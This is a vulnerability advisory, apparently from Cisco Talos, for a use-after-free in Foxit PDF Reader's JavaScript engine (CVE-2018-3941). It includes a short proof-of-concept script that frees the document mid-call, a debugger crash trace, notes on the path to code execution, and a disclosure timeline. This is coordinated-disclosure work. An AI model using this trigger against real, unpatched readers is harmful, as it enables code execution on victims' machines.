CVE-2018-3941
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.1.0.5096.
https://www.foxitsoftware.com/products/pdf-reader/
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use-after-free
Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.
This particular vulnerability lies in invoking the getNthFieldName
method of the active document with a crafted object as argument, which can trigger a use-after-free condition, like in the following code:
function main() {
var a = {};
a.toString = f;
app.activeDocs[0].getNthFieldName(a);
}
function f() {
app.activeDocs[0].closeDoc();
}
main();
In the above code, we create an object a
and overload its toString
method to be f
. Then, when getNthFieldName
is invoked, toString
of the first argument is called, effectivelly closing the document and freeing a number of objects. When getNthFieldName
continues execution, it reuses a stale reference of a freed object causing a crash.
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(140c.9e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80000000 ebx=80000000 ecx=100aeda8 edx=00000056 esi=0024e738 edi=125a8ef0
eip=00a31ab7 esp=0024e698 ebp=0024e6b8 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210293
FoxitReader!CryptVerifyMessageSignature+0x6a207:
00a31ab7 8b11 mov edx,dword ptr [ecx] ds:0023:100aeda8=????????
0:000> !heap -p -a ecx
address 100aeda8 found in
_DPH_HEAP_ROOT @ 74c1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
100e1c30: 100ae000 2000
6a6290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
774969cc ntdll!RtlDebugFreeHeap+0x0000002f
77459e07 ntdll!RtlpFreeHeap+0x0000005d
774263a6 ntdll!RtlFreeHeap+0x00000142
7565c614 kernel32!HeapFree+0x00000014
01e6df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
003608bf FoxitReader+0x000d08bf
003628a8 FoxitReader+0x000d28a8
004a965e FoxitReader+0x0021965e
004a942b FoxitReader+0x0021942b
004b842a FoxitReader+0x0022842a
004a2fd7 FoxitReader+0x00212fd7
004a2df8 FoxitReader+0x00212df8
01cc51ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
01cc90ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
01cc917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
004a09f5 FoxitReader+0x002109f5
01ccae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
01cc51ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
01cc90ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
01cc917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
003cbee7 FoxitReader+0x0013bee7
00a3373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
00a419e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x6a207:
00a31ab7 8b11 mov edx,dword ptr [ecx]
00a31ab9 8b8258010000 mov eax,dword ptr [edx+158h]
00a31abf ffd0 call eax
00a31ac1 8b10 mov edx,dword ptr [eax]
00a31ac3 8bc8 mov ecx,eax
00a31ac5 8b4208 mov eax,dword ptr [edx+8]
00a31ac8 ffd0 call eax
00a31aca 6aff push 0FFFFFFFFh
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0024e6b8 00a422e9 FoxitReader!CryptVerifyMessageSignature+0x6a207
01 0024e714 00611578 FoxitReader!CryptVerifyMessageSignature+0x7aa39
02 0024e75c 01b19b2e FoxitReader+0x381578
03 0024e790 01b11946 FoxitReader!CryptVerifyMessageSignature+0x115227e
Analyzing the heap state clearly shows that ecx
points into an unallocated freed memory region. And if we take a look at the code immediately following the point of crash, we can see edx
being used as a vtable pointer, ultimately leading to call
instruction with controllable operand in eax
. Since the contents of memory pointed to by ecx
can easily be controlled, this leads to relatively straight forward conditions for arbitrary code execution.
2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.